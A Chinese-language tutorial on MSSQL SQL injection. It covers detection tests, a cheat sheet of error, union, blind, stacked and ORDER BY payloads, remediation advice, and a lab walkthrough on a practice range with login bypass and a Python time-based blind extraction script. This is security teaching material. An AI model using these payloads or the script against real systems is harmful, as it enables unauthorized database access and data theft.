理论基础
-
什么是SQL注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
-
产生SQL注入的主要原因
1、在编写时未对用户提交至服务器的数据进行合法性校验(类型、长度、业务参数合法性、敏感字符等)。
2、未对用户可控参数进行足够的过滤便将参数内容直接以拼接的方式进入到SQL语句中。
-
常见的注入数据库
Mysql、Mssql(Sql Server)、Oracle、PostgreSql
-
通用注入手法
联合查询、报错注入、布尔盲注、时间盲注、堆叠查询、宽字节注入、二次注入……
-
通用注入点测试
类型 语句和结果 特殊字符测试 id=')") ==> 抛出异常 逻辑运算测试 id=’ and 23 = 6 – ==> True
id=’ and 23 = 5 – ==> False
id=2*3 ==> 是否返回id=6相关的内容
id=1/1 ==> True
id=1/0 ==> False或者异常延时注入测试 id=’ and sleep(5) ==> 延时5秒甚至更久
需要根据特定的数据库函数来判断,见时间盲注
- Mssql数据库特征
-
常见代码与Mssql的组合:asp+mssql;aspx+mssql;.net+mssql
-
默认端口信息:1433
-
数据库特有函数:
- len和length:在mssql和mysql中,返回长度值是调用len()函数,在oracle中则是通过length()来返回长度值。
- @@version和version():在mysql内,可以用@@version或是version()来返回当前的版本信息。如果出现提示version()错误时,则可能是mssql。
- 在mssql中可以调用substring,oracle则只可调用substr。
- 其他:@@pack_received;@@rowcount
-
返回的错误类型:
Msg 170,level 15, State 1,Line 1 Line 1:Incorrect syntax near ‘foo Msg 105,level 15,state 1,Line 1 Unclose quotation mark before the character string ‘foo
-
查询特有表:
?id=1 and (select count(*) from sysobjects)>0 and 1=1
-
补充:
- 注释符:-- -;±-+;;%00;/**/
- 全局变量:@@VERSION;@@SEVERNAME
- 测试函数:DB_NAME();USER_NAME();USER
- 判断:IF;CASE…WEHN…(THEN…ELSE)…END
-
-
测试Payload(以字符型注入为例)
###### 字段数 id=1 order by 8-- ###### 判断数据库长度 id=2 and len(db_name())>10-- id=2 and ascii(substring(db_name(),1,1)) = 109 ###### 报错注入 1. convert() ?id=1' and 1=convert(int,@@version)--+ ?id=convert(int,@@version)--+ 2. cast() ?id=1' and 1=cast(@@version as int)--+ ?id=cast(@@version as int)--+ 3. 逻辑运算 ?id=1' and 1=1/db_name()--+ ?id=1/db_name()--+ 4. db_name();file_name();filegroup_name();col_name(); type_name();schema_name();USER_NAME() …… ?id=1' and 1=db_name(@@version)--+ ?id=db_name(@@version)--+ 5. having 1=1 爆表名 ?id=1'having 1=1--+ 6. group by ... having 1=1 爆列名 ?id=1'group by test having 1=1--+ ###### 延时注入/盲注 waitfor delay '0:0:n' ?id=2 waitfor delay '0:0:5' admin');waitfor+delay+'0:0:6'--+ ?id=2 if(1=1) waitfor delay '0:0:5' ###### 时间盲注版本信息 if(substring(@@version,1,1)) = 's' waitfor delay '0:0:5' ###### 联合注入 ?id=-2 union all select '1',@@VERSION,user,'4' ###### 堆叠注入 ?id=2;waitfor delay '0:0:5' ###### orderby注入: order by convert(int,db_name)--+ order by 1 if (1=1) waitfor delay '0:0:5' 更多Payload参考笔记
- SQL注入笔记
- SQL注入的危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
- 修复建议
-
代码层面
-
对输入进行严格的转义和过滤
-
使用参数化查询和PDO预处理
-
-
数据库层面
- 最小权限原则
- 禁用敏感函数和高危函数
- 统一网站与数据库的编码
-
其他层面
- 使用WAF、IPS等监测设备
- 统一报错信息,防止数据库报错
-
实践学习
漏洞环境以Pilot靶场为例:下载地址与部署教程
-
进入漏洞页面,随意登录,并抓取登录数据包:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
对登录时通常不会进行加密存储的
username
参数进行Sql注入测试:- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,语法错误。
- 此时的Sql语句为:
-
可以发现后端数据库产生报错。此处为登录接口,回显点为
username
,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。 -
首先进行联合查询测试,尝试查询数据库名称:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT db_name()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
-
首先进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' and substring(db_name(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
尝试是否可以进行延时注入,对数据库进行5秒延时:
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin');waitfor delay '0:0:5'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,因为waitfor delay
的特性,此处使用了堆叠注入进行配合。
- 此时的Sql语句为:
-
可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:
import requests import time url = 'URL网址' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = f"admin');if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- " data = { "username":payload, "password":'1' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'); if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:、
- 此时的Sql语句为:
SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = '1' and 1=convert(int,db_name()))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,类型转换会报错出数据库名。
- 此时的Sql语句为:
-
除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。